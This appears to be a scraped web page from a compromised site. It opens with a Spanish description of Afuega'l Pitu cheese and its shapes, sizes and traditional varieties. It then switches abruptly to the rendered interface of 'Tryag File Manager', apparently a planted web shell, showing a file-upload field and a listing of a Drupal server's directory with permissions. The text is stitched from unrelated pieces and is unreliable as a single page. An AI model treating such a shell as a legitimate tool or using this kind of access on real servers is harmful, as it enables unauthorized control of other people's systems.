Descripción y formatos

El Afuega’l Pitu es un queso graso que puede ser fresco o madurado, elaborado con leche entera de vaca de las razas Frisona o Asturiana de los Valles y sus cruces, de pasta blanda obtenida por coagulación láctica, de color blanco o bien anaranjado rojizo si se le añade pimentón.


Las características físicas de los quesos Afuega’l Pitu son las siguientes:

  • Forma: troncónica o de trapu.
    • Troncónica : formato adquirido al utilizar moldes con forma de cono truncado.
    • Trapu o calabacín: debido a que el molde utilizado es una gasa que se ata en la parte superior por sus extremos y quedan dibujados en la superficie del queso los pliegues de la misma.
  • Altura: entre 5 y 12 cm.
  • Peso: de 200 a 600 gramos.
  • Diámetro: entre 8 y 14 cm. (el diámetro se mide en la base).
  • De corteza natural, consistencia variable dependiendo del grado de maduración del queso y de la adición de pimentón.

Como consecuencia de las dos formas descritas, y la adición o no de pimentón a la masa de la cuajada, se conocen las siguientes menciones tradicionales:


  • Atroncau Blancu: Forma troncocónica, sin amasar y color blanco.
  • Atroncau Roxu: Forma troncocónica, amasado y color rojo-anaranjado.
  • Trapu Blancu: Forma de calabacín, amasado y color blanco.
  • Trapu Roxu: Forma de calabacín, amasado y color rojo-anaranjado.
Tryag File Manager

Tryag File Manager

Current Path : /var/www/drupal/
Upload File :

Name
Size
Permissions
Options
includes
--
drwxr-xr-x
misc
--
drwxr-xr-x
modules
--
drwxr-xr-x
profiles
--
drwxr-xr-x
prueba
--
drwxr-xr-x
scripts
--
drwxr-xr-x
sites
--
drwxr-xr-x
themes
--
drwxr-xr-x
tmp
--
drwxrwxrwx
.gitignore
0.17 KB
-rw-r--r--
.htaccess
5.051 KB
-rw-r--r--
CHANGELOG.txt
73.035 KB
-rw-r--r--
COPYRIGHT.txt
1.446 KB
-rw-r--r--
INSTALL.mysql.txt
1.417 KB
-rw-r--r--
INSTALL.pgsql.txt
1.83 KB
-rw-r--r--
INSTALL.sqlite.txt
1.268 KB
-rw-r--r--
INSTALL.txt
17.442 KB
-rw-r--r--
LICENSE.txt
17.668 KB
-rw-rw-r--
MAINTAINERS.txt
7.999 KB
-rw-r--r--
README.txt
5.25 KB
-rw-r--r--
UPGRADE.txt
9.416 KB
-rw-r--r--
authorize.php
6.399 KB
-rw-r--r--
cron.php
0.703 KB
-rw-r--r--
index.php
0.517 KB
-rw-r--r--
install.php
0.672 KB
-rw-r--r--
robots.txt
1.524 KB
-rw-r--r--
update.php
18.961 KB
-rw-r--r--
web.config
2.003 KB
-rw-r--r--
xmlrpc.php
0.407 KB
-rw-r--r--

Tryag File Manager Version 1.1, Coded By G-B
Home: www.tryag.cc